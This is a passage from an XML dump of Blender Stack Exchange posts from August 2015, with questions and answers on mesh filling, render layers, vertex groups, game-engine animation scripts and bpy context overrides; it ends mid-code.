  <row Id="35019" PostTypeId="2" ParentId="35010" CreationDate="2015-08-03T14:46:31.580" Score="4" Body="&lt;p&gt;What happens for real is a mega-super-wonky N-gon is created using all the vertices that are selected. &lt;kbd&gt;F&lt;/kbd&gt; activates the fill tool, it appears to be vertex driven, that means it does recognize when a face is selected, just that there are four more vertices; hitting &lt;kbd&gt;F&lt;/kbd&gt; forces blender to try to create a new face with all the vertices you selected as its extremities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume that you were using nice, clean mesh, only quads. After selecting two faces, filling them &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;destroys the old faces&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;form a new 6-8 vertex face (depending on whether or not the faces were adjacent)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;places the origin of the new face at the average of the vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I guess, this is essentially merging the two faces, but its bad form because it causes those dreaded N-gons, and you can see here what the results will be like when the faces aren't flush:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wJrnD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJrnD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="3401" LastEditDate="2015-08-03T16:54:35.740" LastActivityDate="2015-08-03T16:54:35.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35020" PostTypeId="2" ParentId="34809" CreationDate="2015-08-03T15:06:02.697" Score="7" Body="&lt;p&gt;There are two possible reasons for this happening.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reason I - Object Render Disable&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can disable specific objects from being rendered in the Outliner. It is possible you did this without knowing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GX4hb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GX4hb.png&quot; alt=&quot;Outliner Panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Camera Button&lt;/strong&gt; to the right of the &lt;em&gt;Cube Object&lt;/em&gt; is disabled, meaning the Cube will not be rendered. Click the camera button to turn on/off rendering.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reason II - Render Layer Settings&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It could be that you have disabled the Render Layer(s) of your object in the render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bfoxb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bfoxb.png&quot; alt=&quot;render layer panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example photo, &lt;em&gt;Scene: layer 1&lt;/em&gt; is &lt;strong&gt;active&lt;/strong&gt; and will preview render in viewport, but since &lt;em&gt;Render: layer 1&lt;/em&gt; is &lt;strong&gt;not active&lt;/strong&gt;, then The objects in Layer 1 will not actually render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Render Layer Explanation -&#xA;The square buttons below 'Scene:' are the layers that are active and currently shown in 3D viewport. You have these correctly selected if you can see them in the 3D viewport and see them in the render preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons below 'Layer:' are the layers that will be rendered. Select every layer that you have objects on to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons below 'Mask:' will cause what ever objects on this layer to cut a transparent area through your render. &lt;/p&gt;&#xA;" OwnerUserId="16118" LastEditorUserId="5705" LastEditDate="2015-08-03T15:46:09.917" LastActivityDate="2015-08-03T15:46:09.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35022" PostTypeId="2" ParentId="35005" CreationDate="2015-08-03T15:47:09.823" Score="4" Body="&lt;p&gt;Blender can use tiff images, not sure if geotiff works to but it should work too. Otherwise you had to convert the geotiff to a png or jpg first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a plane (same aspect ratio like your image). Go to the modifier tab and add a Subdivision Surface modifier. Set it to &lt;em&gt;Simple&lt;/em&gt;. Add 3 or 4 subdivisions and apply the modifier. Add again a Subdivision Surface modifier to control the resolution of your mesh later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next add a Displace modifier and add a new &lt;em&gt;Image or Movie&lt;/em&gt; texture there. With the rightmost icon you can switch over to the texture tab, load your image and give your texture a name etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in the modifier tab you can play with the values a bit (&lt;em&gt;Strenght&lt;/em&gt; 0.2 for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add the Decimate modifier to simplify your geometry - just play with the values, &lt;em&gt;Collapse&lt;/em&gt; mode should give good results for terrain models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Here I found a tutorial wich covers also the geotiff conversion (under &quot;Create Heightmap&quot;) &lt;a href=&quot;http://www.navimationresearch.net/2013/norway-in-3d-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.navimationresearch.net/2013/norway-in-3d-part-1/&lt;/a&gt;&lt;/s&gt; sorry link is dead now.&lt;/p&gt;&#xA;" OwnerUserId="16031" LastEditorUserId="16031" LastEditDate="2015-09-19T17:47:49.927" LastActivityDate="2015-09-19T17:47:49.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35023" PostTypeId="1" CreationDate="2015-08-03T16:30:33.197" Score="1" ViewCount="268" Body="&lt;p&gt;I am coming from solidworks, and what I am looking for is something similar to the &quot;smart dimension&quot; tool. In blender I can control the dimensions by extruding, grabbing, and scaling by defined amounts, but if I want to change that dimension later, other dimensions are not locked. Basically, I have to have already designed the model in its entirety on paper before I begin. Changes to early dimensions force starting from scratch or scrapping the &quot;fully defined&quot; nature of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned these techniques from Robert Burke's 2007 on using precesion modeling with blender. book:&lt;a href=&quot;http://homepage.ntlworld.com/r.burke2/precision_modelling1.html&quot; rel=&quot;nofollow&quot;&gt;http://homepage.ntlworld.com/r.burke2/precision_modelling1.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping that there might be a new tool or plugin that allows for a fully defined workflow?&lt;/p&gt;&#xA;" OwnerUserId="16120" LastActivityDate="2015-08-03T16:30:33.197" Title="Fully defined objects - smart dimension (like solidworks)" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35024" PostTypeId="2" ParentId="34988" CreationDate="2015-08-03T16:54:36.383" Score="3" Body="&lt;p&gt;In the rigid body world there is a rigid body constraint 'motor', this is assigned between two rigid bodies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The original wheel - active rigid body&lt;/li&gt;&#xA;&lt;li&gt;An object to push on (a simple cube) - passive rigid body - constrained to the original wheel (hidden inside for example)&lt;/li&gt;&#xA;&lt;li&gt;An empty - rigid body motor constraint: angular motor - also constrained to the original wheel&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now the wheel is motorised and will drive itself across the ground plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="16122" LastEditorUserId="3710" LastEditDate="2015-08-03T18:05:57.640" LastActivityDate="2015-08-03T18:05:57.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35025" PostTypeId="2" ParentId="34948" CreationDate="2015-08-03T17:07:23.007" Score="1" Body="&lt;p&gt;Go to Bake Section in Properties Panel and choose &quot;Diffuse Color&quot;, So that way your Baked Texture will not be affected by the lights and shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tg3oS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tg3oS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XMGBf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMGBf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-03T17:07:23.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35026" PostTypeId="1" CreationDate="2015-08-03T17:45:00.880" Score="1" ViewCount="459" Body="&lt;p&gt;Found this &lt;a href=&quot;https://www.google.pl/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CCEQFjAAahUKEwiVqMC7rY3HAhXGjywKHYOKDPE&amp;amp;url=http%3A%2F%2Fblender.stackexchange.com%2Fquestions%2F6531%2Fsplit-mesh-into-two-pieces-using-bezier-curve&amp;amp;ei=upm_VZXjBsafsgGDlbKIDw&amp;amp;usg=AFQjCNFRxNKguM8gWTD63mTBp7u39WwMiQ&amp;amp;sig2=y0kAexA-R4aQZ939_rTsuw&quot; rel=&quot;nofollow&quot;&gt;topic&lt;/a&gt;, but my Bleder seems to lack the Knife Project tool. Is there anything alike that in newer versions?&#xA;&lt;br&gt;I tried using the Sculpt Tools, but all the Grease Cut does for me is duplicate the part of mesh the curve should split without any cut. I'm splitting multi-part mesh and sometimes need several parts to be split with one curve. Like making jigsaw puzzle.&lt;/p&gt;&#xA;" OwnerUserId="16125" LastEditorUserId="16125" LastEditDate="2015-08-03T19:52:18.957" LastActivityDate="2015-08-03T19:52:18.957" Title="Split mesh along Bezier curve in Blender 2.75" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35027" PostTypeId="2" ParentId="35026" CreationDate="2015-08-03T18:02:10.473" Score="1" Body="&lt;p&gt;You have to just select the face you want to add a cut in and Subdivide it, by going (w) and the first option 'subdivide', then for instance you want a vertical cut, so select the horizontal edge and by pressing (x) or (Delete) key and choosing 'Dissolve Edges' you will delete it but with out corrupting the mesh, and then you can use the 'Edge Slide' to position your cut on any position on your face you want. To Edge Slide press  (Ctrl+E) and choose the fifth option from the bottom 'Edge Slide'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gceZW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gceZW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-03T18:02:10.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35028" PostTypeId="1" AcceptedAnswerId="35041" CreationDate="2015-08-03T18:02:36.583" Score="3" ViewCount="446" Body="&lt;p&gt;I'm currently working with a few Blend Swap community members on making a game called &lt;a href=&quot;http://www.blendswap.com/requests/view/476&quot; rel=&quot;nofollow&quot;&gt;Project Illumina&lt;/a&gt;, and we'd like to build a sandbox for our main character development (actions, animations, powers, etc.) and I was wonder do character rigs for the BGE have to be IK or FK or a combination of both? Anything goes for game animations?&lt;/p&gt;&#xA;" OwnerUserId="246" LastActivityDate="2015-08-03T20:39:07.173" Title="Do BGE rigs have to be IK or FK?" Tags="&lt;game-engine&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35029" PostTypeId="1" AcceptedAnswerId="35031" CreationDate="2015-08-03T18:30:20.403" Score="7" ViewCount="10706" Body="&lt;p&gt;it is pretty annoying to work with different meshes as the same object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can define a specific numbers of vertex/edges/faces to a group so I could just click that group to all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I was clear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-08-03T21:36:50.400" Title="how to create a selection group in edit mode?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35030" PostTypeId="1" AcceptedAnswerId="35035" CreationDate="2015-08-03T18:31:54.090" Score="3" ViewCount="1413" Body="&lt;p&gt;I've created a vertex group that I want to reshape to more or less how this curve looks in the first image looks like. I'm trying to achieve this using curve modifier. Unfortunately the middle of the vertex group is moved to the edge of the curve, as seen in the other image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be fixed? Perhaps I'm trying to use wrong tool for the job? It's only my 3rd day with Blender so maybe I'm missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PejaO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PejaO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JpudQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JpudQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16126" LastActivityDate="2015-08-03T18:57:10.067" Title="Vertex group and curve modifier" Tags="&lt;bezier-curves&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35031" PostTypeId="2" ParentId="35029" CreationDate="2015-08-03T18:34:38.660" Score="8" Body="&lt;p&gt;Yes, you can define &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/vertex_groups/vertex_groups.html?highlight=vertex%20groups&quot; rel=&quot;noreferrer&quot;&gt;vertex groups&lt;/a&gt; per object: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PC9wV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PC9wV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Edit Mode move to &lt;em&gt;Properties Editor &gt; Data &gt; Vertex Groups&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit the &lt;kbd&gt;+&lt;/kbd&gt; sign to create a new vertex group (and rename it to something useful)&lt;/li&gt;&#xA;&lt;li&gt;Make a selection and &lt;kbd&gt;Assign&lt;/kbd&gt; the desired vertices to that group&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now by using &lt;kbd&gt;Select&lt;/kbd&gt; the vertices will automatically selected in the 3d viewport.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3710" LastEditDate="2015-08-03T21:36:50.400" LastActivityDate="2015-08-03T21:36:50.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35032" PostTypeId="2" ParentId="35006" CreationDate="2015-08-03T18:35:42.587" Score="0" Body="&lt;p&gt;If none of the vertex groups show up in weight paint mode, then it could be an error in the settings or just a program issue (if you don't have the latest version, update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simple model like this, one workaround is to set the vertex group weights manually.  For instance, go into edit mode, select all and remove it from the head vertex group, then select only the head geometry (you can hit &lt;code&gt;L&lt;/code&gt; over it to select connected), and hit assign.  For those half-way rings at the elbows and knees, you'll have to set the weight to 0.500 before assigning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read here if this doesn't make any sense: &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/vertex_groups/vertex_groups.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/modeling/meshes/vertex_groups/vertex_groups.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1191" LastEditorUserId="1191" LastEditDate="2015-08-03T18:46:38.933" LastActivityDate="2015-08-03T18:46:38.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35033" PostTypeId="1" AcceptedAnswerId="35040" CreationDate="2015-08-03T18:48:32.703" Score="2" ViewCount="245" Body="&lt;p&gt;I hope i can make myself clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making a 3th person adventure game, and thinks start to work just fine, but I came across a problem and now i'm stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt;&#xA;&lt;em&gt;It is an platform game, so not an action game. The characte does have 1 weapon tough (A blowpipe). When the player is in possession of the blowpipe, he can aim/zoom by pressing right mouse button&lt;/em&gt; &gt;&gt; all of this works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; While zooming, the character puts the blowpipe against his mouth (to make it look more real). The action itself works, but it keeps on looping the animation. Is there a way to hold it on the last frame?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main():&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;keyboard = bge.logic.keyboard&#xA;mouse = bge.logic.mouse&#xA;&#xA;zKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.ZKEY]&#xA;sKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.SKEY]&#xA;dKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.DKEY]&#xA;qKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.QKEY]&#xA;lefM = mouse.events[bge.events.LEFTMOUSE] == bge.logic.KX_INPUT_JUST_ACTIVATED&#xA;rigM = bge.logic.KX_INPUT_ACTIVE == mouse.events[bge.events.RIGHTMOUSE]&#xA;&#xA;&#xA;spaceKey = bge.logic.KX_INPUT_JUST_ACTIVATED == keyboard.events[bge.events.SPACEKEY]&#xA;&#xA;# Met de juiste toetsen moet het Personage de juiste animaties spelen&#xA;if zKey:&#xA;    own.playAction('metarigAction',31,52,layer=0, blendin=0, play_mode=bge.logic.KX_ACTION_MODE_LOOP)&#xA;elif sKey:&#xA;    own.playAction('metarigAction',52,31,layer=0, blendin=0, play_mode=bge.logic.KX_ACTION_MODE_LOOP)&#xA;elif lefM:&#xA;    own.playAction('metarigAction',79,100,layer=1, blendin=2, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;elif rigM:&#xA;    own.playAction('metarigAction',135,145,layer=2, blendin=2, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;#het personage moet altijd ademen wanneer niets anders is ingedrukt&#xA;else:&#xA;    own.playAction('metarigAction',5,21,layer=0, blendin=2, play_mode=bge.logic.KX_ACTION_MODE_PING_PONG)           &#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the line for the aiming animation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elif rigM:&#xA;    own.playAction('metarigAction',135,145,layer=2, blendin=2, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;THANKS IN ADVANCE!&lt;/strong&gt;&#xA;Hope I made myself clear!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G.&lt;/p&gt;&#xA;" OwnerUserId="16128" LastActivityDate="2015-08-04T13:51:00.420" Title="BGE: hold at last frame" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35034" PostTypeId="1" CreationDate="2015-08-03T18:48:40.160" Score="2" ViewCount="227" Body="&lt;p&gt;i'm trying to render my scene from a script. i've got some objects with materials that are Shadeless, and when rendering with the blender renderer in my script, they show up as expected: no shading. if i use the opengl renderer from my script, they do not. even if i delete the light, the objects show up with shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried using bgl.glShadeModel() in my script to no success, though that didn't make much sense to me anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to specify that the opengl renderer should render the same way as the blender render, using the material's Shadeless property correctly? note that the material is pretty simple: a color, and that is being picked up properly.&lt;/p&gt;&#xA;" OwnerUserId="16127" LastActivityDate="2015-08-03T18:48:40.160" Title="opengl flat shading in blender" Tags="&lt;rendering&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35035" PostTypeId="2" ParentId="35030" CreationDate="2015-08-03T18:57:10.067" Score="3" Body="&lt;p&gt;Just select the whole vertex group and grab the x axis arrow and move it toward the other end of the curve, to the right.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-03T18:57:10.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35036" PostTypeId="2" ParentId="35016" CreationDate="2015-08-03T19:10:37.243" Score="2" Body="&lt;p&gt;Vertices are shared, no matter what material etc. the using polygons have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per-face vertex data is &lt;strong&gt;stored in loops&lt;/strong&gt; (&lt;code&gt;C.object.data.loops&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The elements of &lt;code&gt;C.object.data.uv_layers[#].data[#]&lt;/code&gt; correspond to loop indexes. The first UV coordinate of the active UV map can be retrieved like &lt;code&gt;.uv_layers.active.data[0].uv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if triangle stripes and fans are still used nowadays. If a game-engine handles vertices like Blender and shares them among faces, there's no real difference in memory consumption...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may wanna use the Separate &lt;kbd&gt;P&lt;/kbd&gt; operator and split a mesh by material. Or create a lookup dictionary from material assignments to efficiently retrieve the right polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Elements in &lt;code&gt;C.object.data.uv_textures[#].data[#]&lt;/code&gt; correspond to face indexes, e.g. &lt;code&gt;.uv_textures.active.data[0].image&lt;/code&gt; for &lt;code&gt;polygons[0]&lt;/code&gt;. Note that the &lt;code&gt;image&lt;/code&gt; attribute is set via &lt;em&gt;UV / Image Editor&lt;/em&gt;, but that there's a second type of material assignment - the one from &lt;em&gt;Material&lt;/em&gt; tab in &lt;em&gt;Properties Editor&lt;/em&gt;, which sets &lt;code&gt;polygons[#].material_index&lt;/code&gt; (just an interger, which is the index of the material in &lt;code&gt;C.object.data.materials[#]&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-03T20:20:58.213" LastActivityDate="2015-08-03T20:20:58.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35037" PostTypeId="1" CreationDate="2015-08-03T20:14:42.537" Score="3" ViewCount="151" Body="&lt;p&gt;I've pressed ctrl+lmb to pick the part of my texture I want to clone from, but it isn't cloning the texture, it's cloning my material diffuse colour. (I've purposely turned my diffuse colour red to be sure). Anybody know how to get it to clone from my texture? I'm in multi texture at mo but it doesn't work in glsl either. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p4PBF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p4PBF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;images of my texture tab, and the results of the clone brush in both glsl and multi texture mode. If you need to see any particular tabs within the texture tab let me know. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N4ZRK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4ZRK.jpg&quot; alt=&quot;glsl with tex tab open&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1WBvU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1WBvU.png&quot; alt=&quot;multi texture with tex tab open&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16130" LastEditorUserId="16130" LastEditDate="2015-08-04T11:28:49.987" LastActivityDate="2015-08-04T11:28:49.987" Title="Clone brush is cloning from material colour, not texture?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35038" PostTypeId="2" ParentId="34968" CreationDate="2015-08-03T20:19:00.513" Score="7" Body="&lt;p&gt;To clear up some misunderstandings:&lt;/p&gt;&#xA;&lt;p&gt;There are no get and set methods to modify the context, and mostly not for other purposes either. It's simply not the Python way of coding. &lt;code&gt;ob.attr&lt;/code&gt; is your getter, and &lt;code&gt;ob.attr = 123&lt;/code&gt; the setter. Magic methods can intercept get and set operations to customize object behavior, but that's advanced stuff.&lt;/p&gt;&#xA;&lt;p&gt;There's also a programmatic way to get and set any attribute, but you only ever need it if the attribute name is dynamic or not always present: &lt;code&gt;hasattr(ob, &amp;quot;attr&amp;quot;)&lt;/code&gt;, &lt;code&gt;getattr(ob, &amp;quot;attr&amp;quot;)&lt;/code&gt;, &lt;code&gt;setattr(ob, &amp;quot;attr&amp;quot;, 123)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;All immediate members of &lt;code&gt;bpy.context&lt;/code&gt; are read-only. You can't modify anything here. You can do something like &lt;code&gt;bpy.context.window.screen = bpy.data.screens[&amp;quot;Default&amp;quot;]&lt;/code&gt; however. &lt;code&gt;screen&lt;/code&gt; is not a direct context attribute and editable. On the other hand, &lt;code&gt;bpy.context.screen&lt;/code&gt; is read-only. &lt;code&gt;bpy.context.window_manager.windows[#].screen&lt;/code&gt; is editable again.&lt;/p&gt;&#xA;&lt;p&gt;To run an operator in a custom context means, that you construct a Python dictionary with context member names as keys, and datablock references as values. You do not modify the actual context:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.scene.object_bases[&amp;quot;Cube&amp;quot;]&#xA;ctx = {&amp;quot;selected_bases&amp;quot;: [ob]} # dict to store custom context&#xA;bpy.ops.object.delete(ctx) # run operator with custom context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Above code deletes the object &lt;code&gt;Cube&lt;/code&gt;, even if completely different objects (or rather object bases) are selected without changing the selection temporarily.&lt;/p&gt;&#xA;&lt;p&gt;It also prints a bunch of PyContext warnings to console, because the delete operator expects a couple more context members. We did not provide them in above code, we only set &lt;code&gt;selected_bases&lt;/code&gt;. A nice, although limited trick is to run an operator with an empty context to figure out (some of the) context members:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.delete({})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's sometimes easier to derive the context from the actual context, and only modify the necessary dictionary keys:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ctx = bpy.context.copy()&#xA;ctx[&amp;quot;selected_bases&amp;quot;] = [bpy.context.scene.object_bases[&amp;quot;Cube&amp;quot;]]&#xA;bpy.ops.object.delete(ctx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Above code should not cause any PyContext warnings.&lt;/p&gt;&#xA;&lt;p&gt;We can apply this to the screenshot operator now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;context = bpy.context&#xA;for area in context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        ctx = {&#xA;            &amp;quot;window&amp;quot;: context.window, # current window, could also copy context&#xA;            &amp;quot;area&amp;quot;: area, # our 3D View (the first found only actually)&#xA;            &amp;quot;region&amp;quot;: None # just to suppress PyContext warning, doesn't seem to have any effect&#xA;        }&#xA;        bpy.ops.screen.screenshot(ctx, filepath=&amp;quot;...&amp;quot;, full=False)&#xA;        break # limit to first 3D View (optional)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Don't ever rely on the area index, it's not a stable property.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you want an screenshot of a certain region (exactly as seen on screen), you can do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;&#xA;context = bpy.context&#xA;&#xA;def screenshot_region(region):&#xA;    x = region.x&#xA;    y = region.y&#xA;    width = region.width&#xA;    height = region.height&#xA;    &#xA;    buf = bgl.Buffer(bgl.GL_FLOAT, width * height * 4)&#xA;    bgl.glReadPixels(x, y, width, height, bgl.GL_RGBA, bgl.GL_FLOAT, buf)&#xA;    img = bpy.data.images.new(&amp;quot;Screenshot&amp;quot;, width, height, alpha=True)&#xA;    img.pixels[:] = 